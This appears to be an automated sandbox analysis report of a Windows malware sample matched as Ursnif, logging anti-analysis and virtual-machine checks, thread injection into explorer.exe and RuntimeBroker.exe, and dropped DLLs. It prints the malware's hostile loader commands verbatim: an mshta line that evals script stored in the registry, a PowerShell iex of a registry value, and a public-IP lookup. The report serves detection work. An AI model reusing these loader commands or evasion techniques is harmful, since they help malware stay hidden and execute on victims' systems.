Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: PROCMON.EXE
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: HOOKEXPLORER.EXE
Source: wscript.exe, 00000000.00000003.372274331.0000011E59A96000.00000004.00000001.sdmp Binary or memory string: NETSNIFFER.EXEK
Source: wscript.exe, 00000000.00000003.373966707.0000011E59A7B000.00000004.00000001.sdmp Binary or memory string: PEID.EXE@#Z
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: AUTORUNS.EXE@
Source: wscript.exe, 00000000.00000003.373966707.0000011E59A7B000.00000004.00000001.sdmp Binary or memory string: HOOKANAAPP.EXE@
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: IDAG.EXE:V
Source: wscript.exe, 00000000.00000003.373966707.0000011E59A7B000.00000004.00000001.sdmp Binary or memory string: AUTORUNS.EXEH
Source: wscript.exe, 00000000.00000003.373966707.0000011E59A7B000.00000004.00000001.sdmp Binary or memory string: IDAQ.EXE@
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: REGSHOT.EXE
Source: wscript.exe, 00000000.00000003.373966707.0000011E59A7B000.00000004.00000001.sdmp Binary or memory string: SYSANALYZER.EXE@A
Source: wscript.exe, 00000000.00000003.372274331.0000011E59A96000.00000004.00000001.sdmp Binary or memory string: WIRESHARK.EXE
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: FORTITRACER.EXEA
Source: wscript.exe, 00000000.00000003.373966707.0000011E59A7B000.00000004.00000001.sdmp Binary or memory string: PROCMON.EXE@
Source: wscript.exe, 00000000.00000003.373966707.0000011E59A7B000.00000004.00000001.sdmp Binary or memory string: SBIECTRL.EXE@
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: SBIESVC.EXE
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: IMPORTREC.EXE
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: IMUL.EXE.8
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: Q?$SANDBOXIERPCSS.EXEV5
Source: wscript.exe, 00000000.00000003.373966707.0000011E59A7B000.00000004.00000001.sdmp Binary or memory string: IDAG.EXE@:V
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: :FRIDA-WINJECTOR-HELPER-32.EXE
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: PEID.EXE#Z
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: OLLYDBG.EXE
Source: wscript.exe, 00000000.00000003.373966707.0000011E59A7B000.00000004.00000001.sdmp Binary or memory string: PETOOLS.EXE@J
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: HOOKANAAPP.EXE
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: :FRIDA-WINJECTOR-HELPER-64.EXE
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: TCPDUMP.EXE
Source: wscript.exe, 00000000.00000003.372274331.0000011E59A96000.00000004.00000001.sdmp Binary or memory string: FILEMON.EXET
Source: wscript.exe, 00000000.00000003.372274331.0000011E59A96000.00000004.00000001.sdmp Binary or memory string: U.SANDBOXIEDCOMLAUNCH.EXE
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: A9$BEHAVIORDUMPER.EXEQ
Source: wscript.exe, 00000000.00000003.373966707.0000011E59A7B000.00000004.00000001.sdmp Binary or memory string: SCKTOOL.EXE
Source: wscript.exe, 00000000.00000003.372274331.0000011E59A96000.00000004.00000001.sdmp Binary or memory string: DUMPCAP.EXE
Contains capabilities to detect virtual machines
Source: C:\Windows\System32\control.exe File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3918 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1310 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\dvgqxizg\dvgqxizg.dll Jump to dropped file
Source: C:\Windows\System32\wscript.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\earmark.avchd Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\41myt1z4\41myt1z4.dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\wscript.exe TID: 7140 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5900 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5584 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\wscript.exe File Volume queried: C:\Users\user\AppData\Local FullSizeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation Jump to behavior
Source: C:\Windows\explorer.exe Code function: 31_2_04DE37B8 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose, 31_2_04DE37B8
Source: C:\Windows\explorer.exe Code function: 31_2_04E091A0 CreateFileA,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose, 31_2_04E091A0
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Local Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\Documents\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Local\Temp Jump to behavior
Source: explorer.exe, 0000001F.00000000.547723388.00000000083E9000.00000004.00000001.sdmp Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 0000001F.00000000.547778896.0000000008430000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: wscript.exe, 00000000.00000002.381417471.0000011E5CEA0000.00000002.00000001.sdmp, explorer.exe, 0000001F.00000000.533603589.0000000005D50000.00000002.00000001.sdmp Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 0000001F.00000000.536533851.0000000006419000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001F.00000000.535669097.00000000062E0000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAWPackages
Source: explorer.exe, 0000001F.00000000.547723388.00000000083E9000.00000004.00000001.sdmp Binary or memory string: VMware SATA CD00
Source: control.exe, 0000001C.00000002.563204959.0000027A6FD67000.00000004.00000020.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\
Source: explorer.exe, 0000001F.00000000.536533851.0000000006419000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001F.00000000.547816387.0000000008455000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW
Source: explorer.exe, 0000001F.00000000.547497490.00000000082E2000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
Source: wscript.exe, 00000000.00000002.381417471.0000011E5CEA0000.00000002.00000001.sdmp, explorer.exe, 0000001F.00000000.533603589.0000000005D50000.00000002.00000001.sdmp Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: wscript.exe, 00000000.00000002.381417471.0000011E5CEA0000.00000002.00000001.sdmp, explorer.exe, 0000001F.00000000.533603589.0000000005D50000.00000002.00000001.sdmp Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 0000001F.00000000.547497490.00000000082E2000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 0000001F.00000000.547778896.0000000008430000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000-;
Source: wscript.exe, 00000000.00000002.381417471.0000011E5CEA0000.00000002.00000001.sdmp, explorer.exe, 0000001F.00000000.533603589.0000000005D50000.00000002.00000001.sdmp Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: explorer.exe, 0000001F.00000002.604333034.000000000095C000.00000004.00000020.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}G
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Benign windows process drops PE files
Source: C:\Windows\System32\wscript.exe File created: earmark.avchd.0.dr Jump to dropped file
Allocates memory in foreign processes
Source: C:\Windows\System32\control.exe Memory allocated: C:\Windows\explorer.exe base: 27E0000 protect: page execute and read and write Jump to behavior
Source: C:\Windows\explorer.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 21DB7DC0000 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 219109E0000 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2DACE190000 protect: page execute and read and write
Changes memory attributes in foreign processes to executable or writable
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFD88E31580 protect: page execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFD88E31580 protect: page execute read Jump to behavior
Source: C:\Windows\System32\control.exe Memory protected: C:\Windows\explorer.exe base: 7FFD88E31580 protect: page execute and read and write Jump to behavior
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFD88E31580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFD88E31580 protect: page execute read
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFD88E31580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFD88E31580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFD88E31580 protect: page execute read
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFD88E31580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFD88E31580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFD88E31580 protect: page execute read
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFD88E31580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFD88E31580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFD88E31580 protect: page execute read
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFD88E31580 protect: page execute and read and write
Compiles code for process injection (via .Net compiler)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File written: C:\Users\user\AppData\Local\Temp\dvgqxizg\dvgqxizg.0.cs Jump to dropped file
Creates a thread in another existing process (thread injection)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread created: C:\Windows\explorer.exe EIP: 88E31580 Jump to behavior
Source: C:\Windows\System32\control.exe Thread created: C:\Windows\explorer.exe EIP: 88E31580 Jump to behavior
Source: C:\Windows\explorer.exe Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 88E31580
Source: C:\Windows\explorer.exe Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 88E31580
Source: C:\Windows\explorer.exe Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 88E31580
Source: C:\Windows\explorer.exe Thread created: unknown EIP: 88E31580
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3440 base: 5E2000 value: 00 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3440 base: 7FFD88E31580 value: EB Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3440 base: A90000 value: 80 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3440 base: 7FFD88E31580 value: 40 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3440 base: 5E0000 value: 00 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3440 base: 7FFD88E31580 value: EB Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3440 base: 27E0000 value: 80 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: PID: 3440 base: 7FFD88E31580 value: 40 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\System32\control.exe Section loaded: unknown target: unknown protection: execute and read and write Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: unknown target: C:\Windows\System32\RuntimeBroker.exe protection: execute and read and write
Source: C:\Windows\explorer.exe Section loaded: unknown target: C:\Windows\System32\RuntimeBroker.exe protection: execute and read and write
Source: C:\Windows\explorer.exe Section loaded: unknown target: C:\Windows\System32\RuntimeBroker.exe protection: execute and read and write
Source: C:\Windows\explorer.exe Section loaded: unknown target: unknown protection: execute and read and write
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread register set: target process: 3440 Jump to behavior
Source: C:\Windows\System32\control.exe Thread register set: target process: 3440 Jump to behavior
Source: C:\Windows\System32\control.exe Thread register set: target process: 5688 Jump to behavior
Source: C:\Windows\explorer.exe Thread register set: target process: 3092
Source: C:\Windows\explorer.exe Thread register set: target process: 4252
Source: C:\Windows\explorer.exe Thread register set: target process: 4572
Source: C:\Windows\explorer.exe Thread register set: target process: 5784
Writes to foreign memory regions
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 5E2000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 7FFD88E31580 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: A90000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 7FFD88E31580 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 5E0000 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 7FFD88E31580 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 27E0000 Jump to behavior
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\explorer.exe base: 7FFD88E31580 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 515ACF8000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFD88E31580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 21DB7DC0000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFD88E31580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 789A640000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFD88E31580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 219109E0000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFD88E31580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: ECB1F28000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFD88E31580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2DACE190000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFD88E31580
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').basebapi)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\41myt1z4\41myt1z4.cmdline' Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\dvgqxizg\dvgqxizg.cmdline' Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES2F3F.tmp' 'c:\Users\user\AppData\Local\Temp\41myt1z4\CSC9757D2D6F9F84ABABCD57DA7E4EFF939.TMP' Jump to behavior
Source: C:\Windows\System32\control.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES4817.tmp' 'c:\Users\user\AppData\Local\Temp\dvgqxizg\CSC2062E18B5949488FB5158C917D4EBA9.TMP'
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\Actidsrv'));if(!window.flag)close()</script>'
Source: explorer.exe, 0000001F.00000000.547723388.00000000083E9000.00000004.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000001F.00000002.603261741.00000000008B8000.00000004.00000020.sdmp Binary or memory string: Progman
Source: explorer.exe, 0000001F.00000000.510756620.0000000000EE0000.00000002.00000001.sdmp Binary or memory string: &Program Manager
Source: explorer.exe, 0000001F.00000000.510756620.0000000000EE0000.00000002.00000001.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Ammerman.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Ammerman.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Ammerman.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Ammerman.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Ammerman.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Ammerman.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Ammerman.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Ammerman.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Ammerman.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\control.exe Code function: 28_2_00BFC164 CreateMutexExA,GetUserNameA, 28_2_00BFC164
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

barindex
AV process strings found (often used to terminate AV products)
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: procmon.exe
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: tcpview.exe
Source: wscript.exe, 00000000.00000003.372274331.0000011E59A96000.00000004.00000001.sdmp Binary or memory string: wireshark.exe
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: avz.exe
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: cports.exe
Source: wscript.exe, 00000000.00000003.372274331.0000011E59A96000.00000004.00000001.sdmp Binary or memory string: lordpe.exe
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: icesword.exe
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: ollydbg.exe
Source: wscript.exe, 00000000.00000003.375722028.0000011E59A94000.00000004.00000001.sdmp Binary or memory string: regshot.exe

Stealing of Sensitive Information:

barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.414828910.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.506842838.000002656DBD0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414892314.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.509721795.00000000027B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.423836026.0000000004BDB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.612829369.000002191303E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.612699598.0000021DB8A3E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.491033572.0000000004170000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414853101.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414912288.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.532328464.0000000004E1E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414925514.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414730489.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414774270.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.414871579.0000000004D58000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.562589004.0000000000C0E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.622893274.0000000004E1E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.515908651.00000000052D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.610642121.000002DACE3AE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000003.499431243.0000027A6FE50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: control.exe PID: 4456, type: MEMORY
Source: Yara match File source: Process Memory Space: explorer.exe PID: 3440, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 1040, type: MEMORY
